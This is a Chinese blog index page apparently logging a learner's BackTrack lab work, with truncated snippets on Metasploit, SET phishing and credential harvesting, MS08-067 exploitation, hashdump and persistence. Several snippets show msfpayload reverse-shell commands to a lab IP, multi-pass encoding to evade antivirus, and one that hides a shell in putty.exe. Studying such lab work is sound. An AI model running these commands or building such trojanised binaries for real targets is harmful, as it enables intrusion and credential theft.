feier7501的博客_backtrack

欢迎

Web Jacking Attack Method登录人人网

操作如下：root@bt:/pentest/exploits/set# ./set .--. .--. .-----. : .--': .--'`-. .-' `. `. : `; : : _

ci

Web

sed

原创 2023-04-27 11:07:42 528 阅读

metasploit针对性钓鱼攻击向量入侵成功

环境：BT5R3，XP SP3，Adobe Reader 8.1.0漏洞信息：http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5659 Description Multiple buffer overflows in Adobe Reader and Acrobat 8.1.1 and earlier allow remote att

ci

Adobe

Windows

原创 2023-04-27 11:01:59 76 阅读

metasploit的常用命令

Meterpreter Basics Since the Meterpreter provides a whole new environment, we will cover some of the basic Meterpreter commands to get you started and help you get familiar with this most powerfu

d3

sed

f5

转载 2023-04-27 10:58:00 95 阅读

metasploit针对性钓鱼攻击向量（BT5R3失败）

ci

Adobe

Windows

原创 2023-04-27 10:34:29 99 阅读

Multi-Attack Web Method

操作如下：root@bt:~# cd /pentest/exploits/set/root@bt:/pentest/exploits/set# ./set

ci

sed

Web

原创 2023-04-27 10:33:44 94 阅读

Arduino-Based Attack Vector

先要安装两个软件：1、Download the Arduino Software2、Download Teensyduino另外，

ci

Windows

sed

原创 2023-04-27 10:32:59 112 阅读

Infectious Media Generator失败

操作如下：root@bt:/pentest/exploits/set# ./set 0101100101101111

Windows

ci

Shell

原创 2023-04-27 10:32:20 97 阅读

metasploit文件格式漏洞渗透攻击（成功获得shell）

Windows

简体中文版

System

原创 2023-04-27 00:16:17 63 阅读

metasploit文件格式漏洞渗透攻击（成功生成doc）

文件复制

原创 2023-04-27 00:15:51 80 阅读

metasploit对IE浏览器的极光漏洞进行渗透利用

SSL

Server

Memory

原创 2023-04-27 00:14:33 89 阅读

利用bt5和ollydbg来打开XP的shell

先产生shellcode：root@bt:~# msfpayload windows/shell/bind_tcp LPORT=443 C/* * w shell/bind_tcp - 298 bytes (stage 1) * http://www.metasploit.com * VERBOSE=false, LPORT=443, RHOST=, EXITFUNC=pr

UDP

TCP

3c

原创 2023-04-26 20:01:41 310 阅读

metasploit产生shellcode

root@bt:~# msfpayload windows/shell/bind_tcp LPORT=443 C/* * w FUNC=process, * Init

3c

d3

原创 2023-04-26 20:01:05 334 阅读

metasploit加壳upx

root@bt:~# time msfpayload windows/shell_reverse_tcp LHOST=192.168 | msfencode -e x86/shikat

linux

d3

ico

原创 2023-04-26 20:01:00 483 阅读

metasploit多重编码

root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.11 LPORT=31337 R | msfencode -e x86/s | msfencode -e x86/alpha_upper -c 2 -t raw | msfencode -e x86/shikata_ga_

d3

杀毒软件

文件名

原创 2023-04-26 20:00:44 666 阅读

metasploit的msfpayload创建可独立运行的二进制文件

root@bt:~# msfpayload windows/shell_reverse_tcp O Name: Windo orm: Windows

Windows

生成器

html

原创 2023-04-26 19:43:08 23 阅读

metasploit控制持久化

msf exploit(ms08_067_netapi) > exploit[*] Started reverse handler on 192.168.1.11:44

Software

Windows

持久化

原创 2023-04-26 19:42:51 398 阅读

metasploit查看目标机上的所有流量

meterpreter > run packetrecorder -i 1[*] Starting Packet capture o 32E3_201304

sed

Reason

原创 2023-04-26 19:42:38 286 阅读

metasploit获取系统密码hash值

meterpreter > run hashdump[*] Obtaining the boot key...[*] Calculating th Decrypting user keys

d3

3d

5e

原创 2023-04-26 19:42:32 44 阅读

metasploit的session操作

msf > sessions -lActive sessions=============== Id Type Information Connection -- ---- ----------- -

1

原创 2023-04-26 19:42:08 466 阅读

Credential Harvester Attack Method获得用户信息

前段时间在学习SET，发现Credential Harvester Attack Method一直不得不去学习一下python。今天看代码，看到cloner.py的代码有问题。于是修改之，增加了一个新的模块：#!/usr/bin

html

ci

Web

原创 2023-04-26 18:39:20 59 阅读

metasploit使用辅助模块

显示所有的辅助模块：msf > show auxiliaryAuxiliary========= Name Disclosure Date Rank Description ----

oracle

sql

Server

原创 2023-04-26 18:38:07 143 阅读

dnsrecon用法

root@root:/pentest/enumeration/dns/dnsrecon# ./dnsrecon.py qq

Domain

IP

SOA

原创 2023-04-26 18:37:55 123 阅读

dnsenum用法

root@root:/pentest/enumeration/dns/dnsenum# ./dnsenum.pl ba

Server

DNS

原创 2023-04-26 18:37:36 94 阅读

dnswalk用法

root@root:/pentest/enumeration/dns/dnswalk# ./dnswalk qq.co

DNS

服务器

原创 2023-04-26 18:37:21 45 阅读

metasploit针对性钓鱼攻击向量（BT5R1失败）

root@root:~# cd /pentest/exploits/set/root@root:/pentest/e

ci

Windows

Adobe

原创 2023-04-26 18:35:42 27 阅读

ms08_067被成功exploit

昨天用的环境是FC9，exploit失败。我怀疑是xp版本的问题，于是下了xp + sp2的英文版本，然后再用FC9里的metasploit来exploit，还是失败。看到作者用的是backtrack，于是，下载了一个bt4。bt4里面自带了metasploit。这次，explo

bash

原创 2023-04-26 18:32:41 53 阅读

入侵samba服务器失败

用bt4来入侵ubuntu9.0.4的samba服务器失败。失败总是有原因。还不知道为 _rng_error是什么意思？

ubuntu

服务器

原创 2023-04-26 18:32:19 70 阅读

hashdump获得XP的用户密码的hash值

入侵XP成功后，命令：use privrun post/windows/gather/hashdump这样就可以获得用户的密码的hash值了。

olp'

原创 2023-04-26 18:32:14 46 阅读

给BT5设置ssh服务

ssh-keygen -t rsa -f /etc/ssh/ssh_host_

l'm

lm'

原创 2023-04-26 18:32:12 36 阅读

metasploit隐秘地启动一个攻击载荷

在网上下载putty.exe，上传到bt5，然后复制到/opt/metasploit/msf3/work目录root@bt:/opt/metasploit/msf3# time msfpayload windows/shell_reverse_tcp LHOST=192.168.1.11 LPORT=31337 R | msfencode -t exe -x work/putty.exe -o p

杀毒软件

上传

一闪而过

原创 2023-04-26 18:32:03 82 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客